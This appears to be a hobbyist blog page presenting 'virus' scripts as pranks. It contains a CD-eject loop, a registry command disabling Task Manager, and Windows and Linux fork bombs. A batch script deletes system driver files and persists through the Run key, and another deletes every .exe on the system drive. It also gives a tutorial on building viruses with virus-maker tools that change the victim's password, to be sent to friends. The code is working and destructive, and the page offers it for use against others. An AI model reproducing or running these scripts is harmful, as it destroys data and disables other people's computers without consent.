Virus Programming/Batch File Programming
Internet Tips
Hacking Stuff
Useful Softwares
AntiVirus and Security Tips
Continually pop out your friend’s CD Drive
Description:
This is a harmless code, which will pop out your cd drive automatically, and when you push it back, it will pop out again and again,
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Testing:-
You can test this code on your own system also, as its a harmless code. Just copy the entire code, paste it in notepad, and save it with any name having extension .vbs, and then double click to run/test it.
Stopping/ removing virus:-
This code will stop itself after you restart your system.
or
Just delete the process wscript.exe from the task manager to stop it.
Code to Disable Task Manager
Description:
This is harmless code to temporary disable the task manager. You can enable it again with no hassle.
Code:
rem ---------------------------------Testing:-
rem Disable Task Manager
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
rem ---------------------------------
1.Copy the code above, paste in in notepad, and save it with any name having extension .bat.
2. Click the bat file to disable task manager.
Enable Task manager Again:-
To enable task manager again, copy the code below, make a bat file and click on it.
rem ---------------------------------
rem Enable Task Manager
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 0 /f >nul
rem ---------------------------------
Create Your Own Virus using Virus Maker Softwares
In This Tutorial I am gonna tell you an easy way to create viruses using Virus maker softwares named "JPS Virus Maker" and "teraBIT Virus Maker"
Follow the steps
1. First of all Download any Virus maker from both mentioned above, extract the rar file, and then click on the exe.
Now you will get a Screen like this.
![]() |
TeraBIT VIRUS MAKER |
![]() |
JPS VIRUS MAKER |
2. Now Select some from the given options, that option you want in your created virus.
3. For Message with your virus, select the Fake Error Message and write the message you want to display in caption and Title Like "Error" as shown below.
4. To change the Password of the computer on execution of virus check CHANGE XP PASSWORD and type the new password.
5. Now Select any server Icon or file icon , it will be the icon of the virus file.
6. Now Select any virus Name from the list so it cannot be seen in the process from its own name.
7. Click on the "make virus " Button and your virus will be ready!!!!
8. Now send this file to your friends and see the result.
[Note: Be careful in using these scripts, i will not be responsible if you damage your system.]
Only 5 Characters are enough to Crash a System: Fork Bomb
A fork bomb for crashing system is a smallest writable virus as it contains on 5 Characters. Fork bombs count as wabbits: they typically do not spread as worms or viruses.

The concept behind the fork bomb: the processes recursively fork until a denial of service or a crash occurs. Fork Bomb creates a large number of processes very quickly and break the limitation of processes that can run on a system. It's dead simple: A program just replicate itself, which again replicate itself and so on until all resources are exhausted.
A fork bomb generally creates two instances at startup, further each of created processes creates two instances and so on…The processes recursively fork; this “forks” the processor and jamm it completely until a crash occurs. It use forks to do system crash, so its called Fork Bomb.
See, How to create it:
1. Fork Bomb for windows:
Write the following code in notepad and save it with bat extension say fork.bat
%0|%0Once anyone will do double click on this bat file, his system will jamm.
2. Fork Bomb for linux/Unix:
:(){ :|:& };:
[Note: Be careful in using these scripts, i will not be responsible if you damage your system.]
Blue screen of death
rem ---------------------------------
rem Activate Blue Screen Of Death
@((( Echo Off > Nul ) & Break Off )
@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul
@Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*"
)
rem ---------------------------------
[Note: Be careful in using these scripts, i will not be responsible if you damage your system.]
Batch code to Delete all exe's from a computer
rem ---------------------------------
rem Delete All Exe
DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_exe.txt) do del "%%j:%%k"
rem ---------------------------------
[Note: Be careful in using these scripts, i will not be responsible if you damage your system.]
TechByte4U on FaceBook
Videos on Tech Byte 4 U